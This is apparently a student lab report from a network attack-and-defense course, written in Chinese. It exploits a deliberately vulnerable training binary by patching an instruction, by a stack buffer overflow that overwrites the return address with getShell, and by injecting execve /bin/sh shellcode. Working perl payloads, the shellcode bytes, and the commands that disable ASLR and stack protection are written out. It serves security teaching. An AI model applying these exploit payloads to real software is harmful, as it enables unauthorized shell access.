20253911 2025-2026-2 《网络攻防实践》实践九报告
1 实验内容
1.1 实验要求
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
1.2 知识点梳理与总结
1.2.1基础程序运行逻辑知识
1.Linux 可执行文件基础:
pwn1 为 Linux 平台下 ELF 格式可执行文件,无需编译可直接在 Linux 环境运行,程序内部以函数调用为基本执行单元,拥有固定的代码段、指令执行流程。
2.程序函数调用机制 :
程序正常执行链路为main函数调用foo函数,属于典型的栈帧函数调用流程;函数调用时会保存返回地址,执行完函数后按返回地址回到原调用处继续执行。
3.隐藏代码片段原理 :
程序内置getShell函数片段,功能是调用系统接口获取终端 Shell 权限。正常程序指令流程不会跳转至该函数,属于未被常规执行的闲置代码段,本次实验核心目标就是劫持程序流程,强制执行getShell。
1.2.2 缓冲区溢出(BOF)漏洞知识点
1.栈缓冲区溢出原理:
foo 函数存在字符串回显逻辑,未对用户输入长度做边界校验,用户输入超长字符串时,会从缓冲区开始向上覆盖栈空间,最终覆盖函数栈帧中的返回地址。
2.BOF 攻击核心逻辑:
覆盖函数返回地址后,可将原有正常返回地址替换为getShell函数的内存地址,函数执行结束后不会回到 main 函数,而是直接跳转执行 getShell,实现漏洞利用。
3.Payload 构造基础:
Payload 是精心构造的攻击字符串,由填充字节、覆盖返回地址的目标函数地址组合而成,需精准计算缓冲区到返回地址的偏移量,才能精准篡改跳转地址。
1.2.3 Shellcode 注入基础知识点
1.Shellcode 概念:
是一段精心编写的二进制机器指令代码,可独立实现调用系统 Shell、执行系统命令等功能。
2.注入运行原理:
利用缓冲区溢出漏洞,将自制 Shellcode 注入程序栈内存空间,再通过篡改返回地址,让程序跳转至 Shellcode 所在内存地址,强制执行自定义恶意指令。
2 实验过程
2.1 手工修改可执行文件
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
先将pwn1拉到kali中

进入目标文件所在的文件夹,把pwn1改名为pwn20253911,把pwn20253911这个程序的汇编代码反汇编出来,并且分页显示,方便逐行查看。
objdump -d pwn20253911 | more

往下翻可以看到三个关键函数。getShell函数、foo函数和main函数。可以发现main 函数会主动调用foo,但程序里没有任何地方主动调用getShell。
漏洞点:foo 里的 gets() 函数导致栈溢出
攻击目标:利用栈溢出覆盖foo的返回地址,让程序执行完foo后,不回到main,而是跳转到getShell函数,从而拿到Shell。
确定getShell地址:0x0804847d

打开pwn20253911文件,显示乱码后使用指令改成以16进制的形式打开。
vim pwn20253911
%!xxd

%!xxd使用指令改成以16进制的形式打开。

修改 call 指令的偏移量,让函数返回时不再回到 main,而是直接跳去 getShell 函数。找到需要修改的地方,将d7 改为 c3。按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。


恢复再次把pwn20253911这个程序的汇编代码反汇编出来,发现确实已经修改。
objdump -d pwn20253911 | more

运行pwn20253911程序,出现 /bin/sh,代表拿到shell,实验成功!

2.2 foo函数的Bof漏洞
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注意:先要还原原文件pwn20253911
使用命令sudo apt install gdb 安装gdb

查看程序信息。发现foo函数存在漏洞,超出部分将发生溢出,实验目标是覆盖返回地址。
缓冲区的起始地址是 ebp - 0x1c
返回地址的地址是 ebp + 4
两者之间的字节数差就是:偏移量 = (ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节
objdump -d pwn20253911 | more

使用gdb工具调试程序gdb pwn20253911。再输入r运行。当输入 1111111122222222333333334444444455555555 时可以看到eip的值为0x35353535


输入字符串 1111111122222222333333334444444412345678,那 1234 这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell。

前面已经确定getShell地址:0x0804847d,因此要输入11111111222222223333333344444444\x7d\x84\x04\x08。将要写入的字符串存到20253911zzy_input文件中。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20253911zzy_input
xxd 20253911zzy_input

将20253911zzy_input中的内容注入到pwn20253911中。输入常见指令测试是否拿到shell,成功!
(cat 20253911zzy_input; cat) | /home/kali/pwn20253911

2.3 注入自己制作的shellcode
(3)注入一个自己制作的shellcode并运行这段shellcode。
安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压。
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

设置pwn20253911程序堆栈可执行,并进一步查询是否设置成功。
execstack -s pwn20253911
execstack -q pwn20253911

查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭
more /proc/sys/kernel/randomize_va_space
sudo echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

使用输出重定向将perl生成的字符串存储到input_20252804文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253911

文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20253911进程号为19680
#终端1
(cat input_20253911;cat) | ./pwn20253911
#终端2
ps -ef | grep pwn20253911

再开一个终端对pwn20253911文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。
gdb pwn20253911
attach 19680
disassemble foo
break *0x080484ae

终端1按回车后,再终端2输入c 继续运行。查看栈顶指针所在的位置为0xffffcfac,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcfac + 4 = 0xffffcfb0,是0xffffcfb0。
info r esp
x/16x 0xffffcfac


退出gbd调试,重新构造 input_20253911文件。并输入常见指令测试是否拿到shell,成功!
perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253911
(cat input_20253911;cat) | ./pwn20253911
ls
whoami

3 总结与收获
本次实验围绕 pwn 可执行文件完成三项核心操作,首先通过重命名文件、objdump 反汇编定位 getShell 函数地址,利用 vim 十六进制编辑模式修改 call 指令机器码,直接篡改程序执行流程并成功获取 shell;其次还原文件后,借助 gdb 调试计算出 foo 函数缓冲区偏移量为 32 字节,构造包含填充字符与 getShell 地址的 Payload,利用缓冲区溢出漏洞覆盖函数返回地址,实现漏洞利用并拿到权限;最后安装 execstack 工具开启栈可执行、关闭系统地址随机化,编写包含 NOP 指令与 shellcode 的攻击载荷,通过 gdb 调试确定 shellcode 内存地址,重新构造输入文件完成注入,最终成功执行自定义 shellcode,完整掌握了二进制修改、缓冲区溢出利用与 shellcode 注入的全流程操作。
浙公网安备 33010602011771号